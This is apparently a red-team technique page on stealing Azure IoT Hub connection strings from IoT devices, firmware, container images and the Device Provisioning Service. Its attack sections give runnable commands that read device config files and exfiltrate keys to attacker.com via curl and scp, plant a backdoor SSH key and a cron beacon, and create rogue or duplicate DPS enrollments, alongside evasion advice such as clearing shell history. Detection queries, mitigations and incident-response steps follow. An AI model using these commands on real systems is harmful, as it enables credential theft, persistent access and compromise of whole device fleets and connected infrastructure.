| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-017 |
| MITRE ATT&CK v18.1 | T1552.001 - Unsecured Credentials: Credentials In Files |
| Tactic | Credential Access |
| Platforms | Entra ID / Azure IoT Hub / IoT Devices |
| Severity | Critical |
| CVE | CVE-2019-5160 (WAGO IoT Hub redirection), CVE-2019-5134/5135 (WAGO credential exposure) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | All Azure IoT Hub versions; IoT Edge 1.0+; IoT devices with firmware-embedded credentials |
| Patched In | No universal fix; requires manufacturer implementation of secure credential storage |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team), 11 (Sysmon Detection), and 8 (Splunk Detection) not included because (1) T1552.001 firmware testing is hardware-specific, (2) Sysmon does not capture firmware execution, (3) Splunk is cloud-centric; this technique operates at device level. Remaining sections have been dynamically renumbered.
Concept: Azure IoT devices authenticate to IoT Hub using connection strings—symmetric keys that grant full device-level access. Unlike cloud-based secrets that can be rotated quickly, IoT device credentials are often embedded in firmware or stored in plaintext configuration files on resource-constrained devices. An attacker who gains physical or network access to an IoT device can extract the connection string through multiple vectors: UART/JTAG serial interfaces, SSH access to configuration files, firmware reverse engineering, or memory dumps. A single compromised connection string grants the attacker the ability to send/receive messages as that device, modify device twins, invoke direct methods, and potentially pivot to other systems. If the extracted credential is a service-level key (rather than device-specific), the attacker gains access to all devices in the IoT Hub—enabling supply chain attacks by poisoning firmware updates or hijacking device management.
Attack Surface:
/etc/aziot/config.toml)Business Impact: Complete IoT infrastructure compromise and supply chain attack vector. An attacker who extracts connection strings from a firmware image can compromise thousands of deployed devices simultaneously. By modifying cloud-to-device messages, the attacker can execute arbitrary commands, brick devices, or exfiltrate sensor data. If the IoT device has network access to on-premises systems (e.g., industrial control systems, medical devices), the compromise extends to critical infrastructure. Historical precedent: the Mirai botnet exploited default credentials on 820,000 devices; modern firmware-based attacks could affect millions.
Technical Context: IoT devices have severe resource constraints—limited CPU, RAM, and storage. Manufacturers often opt for symmetric keys (connection strings) over X.509 certificates due to lower computational overhead. Security best practices recommend regular credential rotation, but most IoT devices lack over-the-air update capabilities, forcing credentials to have multi-year lifespans. A compromised credential discovered today may remain valid for years if the device is not updated.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.1.1, 4.2.1 | Weak credential storage, firmware hardening |
| DISA STIG | CAT I - Removable Media | Insecure storage of device identity credentials |
| CISA SCuBA | ICS-1.1 | Secure Device Identity and Authentication |
| NIST 800-53 | IA-2 (Authentication), SC-7 (Boundary Protection), SC-13 (Cryptographic Protection) | Implement multi-factor authentication, encrypt credentials in transit/at rest |
| GDPR | Art. 32 (Security of Processing), Art. 33 (Breach Notification) | Failure to encrypt credentials; mandatory breach reporting if connection string exposed |
| DORA | Art. 9 (Protection and Prevention), Art. 19 (Cryptographic Keys Management) | IoT devices as critical ICT infrastructure require robust credential management |
| NIS2 | Art. 21.1 (Risk Management), Art. 21.2 (Supply Chain Security) | Supply chain attacks via compromised IoT firmware; incident response procedures required |
| ISO 27001 | A.8.2.1 (User Registration), A.9.1.1 (Access Control Policy), A.10.1.1 (Cryptography) | Management of device credentials; encryption of sensitive data at rest/in transit |
| ISO 27005 | 7.4.2 (Supply Chain Attack Risk) | Firmware tampering and credential exposure in manufacturing/deployment supply chain |
Required Privileges:
/etc/aziot/config.tomlRequired Access:
Supported Versions:
Tools:
minicom, screen, PuTTYSupported Versions: IoT Edge 1.0+ on Linux (Ubuntu, Debian, CentOS)
Objective: Obtain shell access to the device running Azure IoT Edge runtime.
Preconditions:
Command:
# Attempt SSH connection with default or compromised credentials
ssh -i device_private_key.pem azureuser@<device_ip>
# OR
ssh admin@<device_ip> # (with password)
# OR exploit default credentials (e.g., raspberry/raspberry on Raspberry Pi)
ssh pi@<device_ip>
Expected Output:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
azureuser@edge-device:~$
What This Means:
OpSec & Evasion:
/var/log/auth.log, but logs are often not monitored in real-time~/.bash_history after exitingTroubleshooting:
pi:raspberry for Raspberry Pi)References:
Objective: Extract the device connection string from the IoT Edge runtime configuration.
Command:
# Primary IoT Edge configuration file (requires root or sudo)
sudo cat /etc/aziot/config.toml
# OR
sudo cat /etc/iotedge/config.yaml # (older IoT Edge versions)
# Look for connection_string line:
# connection_string = "HostName=...;SharedAccessKeyName=owner;SharedAccessKey=..."
Expected Output:
# /etc/aziot/config.toml
[provisioning]
source = "manual"
connection_string = "HostName=my-hub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abc="
[agent]
name = "edgeAgent"
type = "docker"
image = "mcr.microsoft.com/azureiotedge-agent:1.4"
createOptions = "{\"Env\":[]}"
[edge_hub]
name = "edgeHub"
type = "docker"
image = "mcr.microsoft.com/azureiotedge-hub:1.4"
What This Means:
connection_string field contains the IoT Hub device credentialsSharedAccessKeyName=owner indicates this is the device’s primary key (full access)SharedAccessKey value is the actual symmetric credentialOpSec & Evasion:
grep to extract only the connection string line without reading entire config/tmp which is often less monitoredTroubleshooting:
/etc/aziot/sudo to elevate privileges/var/lib/ paths/etc/aziot/config.toml
/etc/iotedge/config.yaml insteadiotedge --versionReferences:
Objective: Extract the connection string from the device and establish a secondary access method.
Command:
# Extract connection string to attacker's server
CONNECTION_STRING=$(sudo grep "connection_string" /etc/aziot/config.toml | awk -F'"' '{print $2}')
echo $CONNECTION_STRING | curl -d @- http://attacker.com/exfil
# Alternative: Write to file and exfiltrate via SCP
echo $CONNECTION_STRING > /tmp/iot_key.txt
scp /tmp/iot_key.txt attacker@attacker.com:/tmp/
# Establish persistence: Add backdoor SSH key to authorized_keys
mkdir -p ~/.ssh
echo "ssh-rsa AAAA...attacker_public_key... attacker@C2" >> ~/.ssh/authorized_keys
# Or: Create cron job that periodically sends connection string
(crontab -l 2>/dev/null; echo "*/30 * * * * echo \$CONNECTION_STRING | curl -d @- http://attacker.com/ping") | crontab -
What This Means:
OpSec & Evasion:
.ssh/authorized_keys).bash_history via history -c and truncate log filesReferences:
Supported Versions: All IoT devices with firmware-embedded credentials
Objective: Extract the complete firmware binary from the IoT device.
Preconditions:
Physical Extraction Methods:
Option A: UART Serial Console
# Using a UART USB adapter (e.g., CH340, FTDI):
# 1. Connect USB adapter to UART pins on device:
# GND (Black) → GND
# RX (Green) → TX (Device)
# TX (White) → RX (Device)
# 5V (Red) → Optional (for power, if needed)
# 2. Open serial console on Linux/Mac:
minicom -D /dev/ttyUSB0 -b 115200
# OR
screen /dev/ttyUSB0 115200
# 3. During device boot, you'll see bootloader output and may be able to:
# - Access bootloader shell (if not password-protected)
# - Read firmware from flash via bootloader commands
# - Extract memory contents line-by-line via serial
# 4. If bootloader accessible, commands like:
# > dump 0x10000 0x100000 /tmp/firmware.bin # (varies by bootloader)
# > save /tmp/firmware.bin # to extract
# 5. Alternatively, use UART for shell access (same as SSH, but slower)
# User prompts may expose plaintext credentials
Option B: JTAG/SWD Debugging Interface
# Using JTAG debugger (e.g., ST-LINK, J-LINK):
# 1. Identify JTAG pins on device PCB (typically 4-20 pins)
# 2. Connect debugger via SWD/JTAG adapter
# 3. Use OpenOCD (Open On-Chip Debugger):
openocd -f interface/stlink.cfg -f target/stm32f1x.cfg
# In OpenOCD telnet session (port 4444):
# > init
# > dump_image /tmp/firmware.bin 0x08000000 0x80000 # STM32F1 example
# > exit
# 4. Or use GDB directly:
arm-none-eabi-gdb
(gdb) target extended-remote localhost:4242
(gdb) dump memory firmware.bin 0x08000000 0x0807ffff
Option C: NAND/NOR Flash Chip Direct Access
# For devices with removable or externally-accessible flash:
# 1. Physically remove flash chip from device (requires microsoldering/desoldering)
# 2. Use flash programmer (e.g., CH341A):
sudo ch341erase /dev/spidev0.0
sudo ch341read -d /dev/spidev0.0 -o firmware.bin
# 3. Reassemble device
Download from Manufacturer:
# Many manufacturers publish firmware on public sites:
wget https://manufacturer.com/downloads/device_model_v1.2.3.bin
# Or extract from mobile app APK:
unzip device-app.apk
# Look for firmware blobs in assets/ or lib/ directories
file assets/* # identify binary files
Expected Output:
$ ls -lh firmware.bin
-rw-r--r-- 1 user group 8388608 Jan 6 10:00 firmware.bin
$ file firmware.bin
firmware.bin: firmware image, Header size: 0,
Version: (something),
Timestamp: Mon Jan 01 00:00:00 2024
What This Means:
OpSec & Evasion:
Objective: Identify and extract the connection string embedded in the firmware binary.
Command:
# Install Binwalk
pip install binwalk
# Analyze firmware structure
binwalk firmware.bin
# Output shows file types and offsets:
# 0 0x0 ELF 32-bit LSB executable, ARM, version 1
# 65536 0x10000 uImage, Linux Kernel Image, ...
# 1048576 0x100000 Squashfs filesystem, ...
# Extract filesystem
binwalk -e firmware.bin
# This extracts to: _firmware.bin.extracted/
# Navigate to extracted squashfs:
cd _firmware.bin.extracted/squashfs-root/
# Search for connection string patterns
grep -r "HostName=" . 2>/dev/null
grep -r "SharedAccessKey" . 2>/dev/null
grep -r "azure-devices" . 2>/dev/null
grep -r "connection_string" . 2>/dev/null
# Look in config files:
cat etc/config/iotedge_config.conf # if present
cat etc/iotedge/config.yaml
cat var/lib/iotedge/device_connection_string
cat etc/environment | grep AZURE
Expected Output:
./etc/iotedge/config.yaml:
provisioning:
source: "manual"
device_connection_string: "HostName=device-hub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8="
./etc/appconfig/app.conf:
IOT_DEVICE_CONNECTION_STRING="HostName=device-hub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8="
./usr/local/bin/iotedge.sh:
export DEVICE_CONNECTION_STRING="HostName=device-hub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=A1B2C3D4E5F6G7H8I9J0K1L2M3N4O5P6Q7R8="
What This Means:
OpSec & Evasion:
Troubleshooting:
file command to identify formatunsquashfs, dd, or hexdumpReferences:
Supported Versions: Azure IoT Edge modules using Docker containers; any containerized IoT application
Objective: Identify and download IoT-related container images from registry.
Preconditions:
Command:
# List images in Azure Container Registry (if publicly accessible)
az acr repository list --name mycontainerregistry --output table
# Or query public DockerHub registry:
curl https://registry.hub.docker.com/v2/repositories/library/
# Download container image (requires `docker` or `podman`)
docker pull myregistry.azurecr.io/iotedge-sensor:1.0
docker pull namespace/iotapp:latest
# If credentials needed:
docker login myregistry.azurecr.io -u <username> -p <password>
docker pull myregistry.azurecr.io/iotedge-sensor:1.0
Expected Output:
Pulling from myregistry.azurecr.io/iotedge-sensor
sha256:abc123... Pulling fs layer
sha256:def456... Pulling fs layer
sha256:ghi789... Downloading [===========> ] 50 MB / 100 MB
Digest: sha256:xyz789...
Status: Downloaded newer image for myregistry.azurecr.io/iotedge-sensor:1.0
What This Means:
Objective: Extract filesystem from container image layers and search for credentials.
Command:
# Option 1: Use Dive tool (interactive layer inspector)
dive myregistry.azurecr.io/iotedge-sensor:1.0
# Interactive: Navigate to /etc/config, /var/lib/, etc. to find credentials
# Option 2: Manual extraction using Docker
# First, create a temporary container from the image:
docker create --name temp-container myregistry.azurecr.io/iotedge-sensor:1.0
# Export container filesystem:
docker export temp-container -o container.tar
tar -xf container.tar
# Now search extracted filesystem:
grep -r "HostName=" . 2>/dev/null
grep -r "SharedAccessKey" . 2>/dev/null
grep -r "CONNECTION" . 2>/dev/null
find . -name "*config*" -type f -exec grep -l "iot" {} \;
# Check environment in Dockerfile:
grep -r "ENV.*CONNECTION\|ENV.*KEY" .
Alternative: Examine Image Manifest
# Get image config details:
docker inspect myregistry.azurecr.io/iotedge-sensor:1.0 --format=''
# Output shows environment variables at runtime:
# ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
# "DEVICE_CONNECTION_STRING=HostName=...;SharedAccessKey=...",
# "LOG_LEVEL=INFO"]
Expected Output:
container/
├── etc/
│ └── iotedge/
│ └── config.yaml: "HostName=device-hub.azure-devices.net;SharedAccessKey=A1B2C3..."
├── var/
│ └── lib/
│ └── iot/
│ └── device_keys.json: {"connection_string": "HostName=...;SharedAccessKey=..."}
└── app/
└── appsettings.json: "ConnectionString": "HostName=...;SharedAccessKey=..."
What This Means:
OpSec & Evasion:
Supported Versions: Azure IoT Hub with DPS enabled; all device authentication methods
Objective: Extract credentials for the DPS service connection (e.g., from pipeline, or stolen from admin).
Preconditions:
Command:
# If you've already compromised a pipeline/DevOps account (see CA-UNSC-015):
export DPS_SERVICE_PRINCIPAL="client_id:secret"
export DPS_ID_SCOPE="0ne12345678" # 9-digit scope from DPS instance
# Or authenticate via Entra ID:
az login --service-principal \
-u <client_id> \
-p <client_secret> \
--tenant <tenant_id>
# Set DPS context:
az account set --subscription <subscription_id>
Expected Output:
[
{
"cloudName": "AzureCloud",
"homeTenantId": "87654321-...",
"id": "12345678-...",
"isDefault": true,
"name": "Production Subscription",
"state": "Enabled",
"tenantId": "87654321-...",
"user": {
"name": "service-principal@company.onmicrosoft.com",
"type": "servicePrincipal"
}
}
]
Objective: List all devices enrolled in the DPS instance (potential targets).
Command:
# List all device registrations in DPS:
az iot dps registration list \
--dps-name <dps-name> \
--resource-group <rg-name>
# Output: List of device IDs, enrollment status, etc.
# Example:
# [
# {
# "deviceId": "sensor-001",
# "status": "enabled",
# "createdDateTime": "2024-01-01T00:00:00Z"
# },
# {
# "deviceId": "sensor-002",
# "status": "enabled",
# "createdDateTime": "2024-01-02T00:00:00Z"
# },
# ...
# ]
# Get enrollment details for specific device:
az iot dps enrollment show \
--enrollment-id sensor-001 \
--dps-name <dps-name> \
--resource-group <rg-name>
# Shows: Attestation type (X.509, TPM, Symmetric Key), certificates/keys, etc.
Objective: Register a malicious device (or modify an existing registration) to gain IoT Hub access for all devices.
Command:
# If DPS uses Symmetric Key attestation, extract the master key:
# (Available in DPS enrollment if you have admin access)
# Add new device enrollment with attacker-controlled credentials:
az iot dps enrollment create \
--enrollment-id attacker-device-001 \
--attestation-type symmetricKey \
--dps-name <dps-name> \
--resource-group <rg-name> \
--device-type Iot \
--provisioning-status enabled
# The device now has the same IoT Hub ID scope as all legitimate devices
# When attacker's device connects with attacker-generated symmetric key,
# DPS will provision it to the IoT Hub
# Alternatively, if you've extracted a legitimate device's symmetric key,
# you can create a duplicate enrollment:
az iot dps enrollment create \
--enrollment-id sensor-001-duplicate \
--attestation-type symmetricKey \
--iot-hub-host-name <hub-name>.azure-devices.net \
--auth-type key \
--primary-key <extracted_primary_key> \
--dps-name <dps-name> \
--resource-group <rg-name>
# Now both legitimate device AND attacker device share same credentials
# Both can connect to IoT Hub simultaneously
What This Means:
OpSec & Evasion:
sensor-backup-001, maintenance-device)References:
Installation:
az extension add --name azure-iot
Key Commands:
| Command | Purpose |
|---|---|
az iot dps device-registration list |
List all device registrations in DPS |
az iot dps enrollment show |
View specific device enrollment details |
az iot dps enrollment create |
Register new device in DPS |
az iot hub device-identity create |
Create device identity in IoT Hub |
az iot hub device-identity show-connection-string |
Extract device connection string |
az iot hub invoke-module-method |
Invoke direct method on device/module |
az iot hub device-twin show |
View device twin (desired + reported properties) |
az iot hub device-twin update |
Modify device twin |
Installation:
pip install binwalk
# With extraction support:
pip install binwalk[full]
Common Usage:
# Analyze firmware:
binwalk firmware.bin
# Extract with auto-detection:
binwalk -e firmware.bin
# Search for specific strings:
binwalk -s "HostName=" firmware.bin
# Use entropy analysis:
binwalk -E firmware.bin # Visualize entropy (encrypted regions appear as noise)
For extracting hardcoded credentials from binary code:
# Download and extract Ghidra from:
# https://github.com/NationalSecurityAgency/ghidra/releases
# Launch Ghidra GUI:
./ghidra/bin/ghidraRun
# In Ghidra:
# 1. File → Import File → Select firmware.bin
# 2. Double-click to analyze
# 3. Search → Memory → Find strings containing "HostName"
# 4. Right-click → Disassemble to see how string is used
# 5. Trace back to functions that initialize or transmit this string
For analyzing container image layers:
# Installation:
# - Linux: https://github.com/wagoodman/dive/releases
# - macOS: brew install dive
# - Or use Docker:
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive:latest myimage:latest
# Usage (interactive):
# - Arrow keys: Navigate filesystem
# - Tab: Switch between "Layers" view and "Filesystem" view
# - Type to filter files
# - Escape: Exit
Rule Configuration:
KQL Query:
let SuspiciousOperations = dynamic([
"Create device identity",
"Update device identity",
"Invoke direct method",
"Send cloud-to-device message",
"Get device twin"
]);
AuditLogs
| where OperationName in (SuspiciousOperations)
or ActivityDetails contains "deviceId"
or ActivityDetails contains "connection"
| where InitiatedBy !contains "@company.onmicrosoft.com" // Exclude known service accounts
or IpAddress !startswith "10." // Flag if from non-corporate IP
| where TimeGenerated > ago(15m)
| summarize DeviceAccesses = count() by InitiatedBy, OperationName, IpAddress, bin(TimeGenerated, 5m)
| where DeviceAccesses > 5 // Threshold: more than 5 operations in 5 minutes = suspicious
| project TimeGenerated, InitiatedBy, OperationName, DeviceAccesses, IpAddress
What This Detects:
Rule Configuration:
KQL Query:
// Search build logs or image metadata for credential patterns
AuditLogs
| where ActivityDetails contains "push" or ActivityDetails contains "build"
and (ActivityDetails contains "HostName="
or ActivityDetails contains "SharedAccessKey"
or ActivityDetails contains "connection_string")
| project TimeGenerated, InitiatedBy, ActivityDetails, IpAddress
// Alternative: Search container image registries
// ContainerImageInventory
// | where ImageProperties contains regex @"HostName.*SharedAccessKey"
Event ID: 4697 (Firewall Rule Addition) - if IoT device connects via corporate network
Event ID: 4720 (User Account Created) - if device provisioning service creates accounts
Manual Configuration Steps:
auditpol /set /subcategory:"Audit Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Audit Authentication" /success:enable /failure:enable
# Configure Windows Event Log forwarding to Sentinel or Splunk
# (Device-specific configuration; see device's documentation)
Implement Hardware Security Module (HSM) for Device Credentials:
Applies To Versions: All IoT device types that support TPM/HSM
Manual Steps (Device Manufacturer):
Example Device Types:
Validation:
# Verify device uses certificate-based auth:
grep -i "certificate\|x509" /etc/aziot/config.toml
# Should show cert path, NOT connection_string
Enforce TLS 1.2+ and Mutual TLS Authentication:
Manual Steps:
az iot hub update --name <hub-name> --minimum-tls-version 1.2
# /etc/aziot/config.toml
[connection]
type = "amqps" # NOT "amqps_ws"
# Ensure root CA cert is valid and up-to-date
[cert_issuers.root_ca]
cert = "file:///etc/ssl/certs/ca-certificates.crt"
Disable Plaintext Connection String Storage:
Manual Steps (Manufacturers):
Validation (Security Audit):
# Scan firmware for plaintext patterns:
strings firmware.bin | grep -i "HostName\|SharedAccessKey\|connection"
# Should return NO results
# Scan source code repositories:
git log --all -S "HostName=" -- . # Find commits that added this pattern
git log --all -S "SharedAccessKey=" -- .
# Remove credentials immediately
Enable Device Update and Credential Rotation:
Manual Steps:
# Install on Linux IoT device
sudo apt-get install deviceupdate-agent
Implement Device Provisioning Service (DPS) with Attestation:
Manual Steps:
Validation:
az iot dps enrollment list --dps-name <dps-name> --resource-group <rg>
# Should show: attestationType = "x509CertificateCA" (not "symmetricKey")
Restrict DPS Service Principal Permissions:
Manual Steps:
Validation:
az role assignment list \
--scope /subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.Devices/ProvisioningServices/<dps>
# Should show restrictive role assignments
Enable Network Security and IP Filtering:
Manual Steps:
az iot hub private-endpoint-connection approve \
--hub-name <hub-name> \
--name <endpoint-connection-name>
az iot hub update \
--name <hub-name> \
--public-network-access Disabled
az iot hub ip-filter add \
--hub-name <hub-name> \
--ip-filter-name AllowCorporateRange \
--ip-address-range 10.0.0.0/8 \
--action Accept
Audit and Monitor Device Access:
Manual Steps:
az monitor diagnostic-settings create \
--resource-type Microsoft.Devices/IotHubs \
--resource <hub-name> \
--name iot-hub-diagnostics \
--logs '[{"category":"Connections","enabled":true}]'
Implement Device Configuration as Code:
Pattern:
Manual Implementation:
# In IoT Edge config:
[provisioning]
source = "dps" # Use DPS, not manual connection string
global_endpoint = "https://global.azure-devices-provisioning.net"
scope_id = "<dps-id-scope>"
# Device authenticates via X.509 cert, not connection string
[provisioning.attestation]
method = "x509"
identity_cert = "file:///var/secrets/device.cert.pem"
identity_pk = "file:///var/secrets/device.key.pem"
Implement Secure Boot and Measured Boot:
Manual Steps (Device OEMs):
PowerShell / Azure CLI - Check IoT Hub Security Configuration:
# Check if connection string authentication is disabled:
az iot hub policy list --hub-name <hub-name> --query "[].keyName"
# Should show minimal policies (ideally only system/service policies)
# Check if DPS uses certificate attestation:
az iot dps enrollment list --dps-name <dps-name> \
--query "[].attestationType" | grep -i "x509\|tpm"
# Should NOT show "symmetricKey"
# Verify minimum TLS version:
az iot hub show --name <hub-name> --query "properties.minTlsVersion"
# Should be "1.2"
# Check device connection audit logs:
az monitor log-analytics query \
--workspace <workspace-id> \
--analytics-query "AuditLogs | where OperationName contains 'device' | distinct InitiatedBy"
# Should show only expected service principals, not user accounts
Expected Output (If Secure):
Connection string authentication: Disabled
DPS attestation type: x509CertificateCA
Minimum TLS version: 1.2
Recent device modifications: (Only by automated deployment service, not users)
/etc/aziot/config.toml timestamp or permissions~/.ssh/authorized_keys/var/log/iotedge/edgeagent.log - IoT Edge agent logs (connection attempts, module loads)/var/log/iotedge/edgehub.log - IoT Edge hub logs (message routing, device connections)/etc/aziot/config.toml - Configuration file (may show connection string if not rotated)/var/lib/iotedge/ - IoT Edge data directory (certificates, state)/var/log/auth.log - SSH login attempts and privilege escalationIsolate:
Immediate:
# Disable device in IoT Hub:
az iot hub device-identity update \
--hub-name <hub-name> \
--device-id <compromised_device_id> \
--status disabled
# Revoke connection string:
az iot hub device-identity renew-key \
--hub-name <hub-name> \
--device-id <compromised_device_id> \
--key-type primary # This invalidates all connections using old key
Physical:
Collect Evidence:
# Export device logs from IoT Hub:
az iot hub monitor-events \
--hub-name <hub-name> \
--device-id <device_id> \
--properties all > device_events.log
# Export audit logs:
az monitor log-analytics query \
--workspace <workspace_id> \
--analytics-query "AuditLogs | where TargetResources contains '<device_id>' | sort by TimeGenerated desc" \
> device_audit.csv
# If physical access: Image entire device storage
dd if=/dev/sda of=/mnt/forensics/device.img
Remediate:
# Step 1: Rotate all device credentials (if not already done)
az iot hub device-identity renew-key \
--hub-name <hub-name> \
--device-id <all_devices> \
--key-type both # Rotate both primary and secondary
# Step 2: Update device firmware with new configuration
# (Via Device Update for IoT Hub or manual update)
# Step 3: Re-enable device after verification:
az iot hub device-identity update \
--hub-name <hub-name> \
--device-id <device_id> \
--status enabled
# Step 4: Verify new credentials are in use:
az iot hub device-twin show --hub-name <hub-name> --device-id <device_id> \
--query "properties.reported.connectivity" # Should show new connection time
Escalate:
Notify:
Incident Report Should Include:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | T1200 - Exploitation for Privilege Escalation | Physical tampering or network vulnerability exploitation to gain device shell access |
| 2 | Discovery | T1526 - Cloud Service Discovery | Enumerate configuration files to find IoT Hub name, DPS scope |
| 3 | Credential Access | [CA-UNSC-017] IoT Device Connection Strings Theft | Extract connection string from firmware, config, or memory |
| 4 | Lateral Movement | T1570 - Lateral Tool Transfer | Use stolen device identity to access other IoT devices in same hub |
| 5 | Persistence | T1547 - Boot or Logon Autostart Execution | Modify device firmware or startup scripts to maintain persistence |
| 6 | Exfiltration | T1041 - Exfiltration Over C2 Channel | Send sensor data or commands to attacker’s server using hijacked device |
| 7 | Impact | Supply Chain Attack | Compromise firmware for thousands of deployed devices; inject malicious firmware updates |
Differences:
/etc/iotedge/config.yaml (instead of /etc/aziot/config.toml)Exploitation:
# Older version config location:
sudo cat /etc/iotedge/config.yaml | grep "connection_string"
Differences:
Exploitation Challenge:
Differences:
Exploitation:
# Same as DPS attack (see METHOD 4)
az iot central device show --app-id <central-app> --device-id <device_id>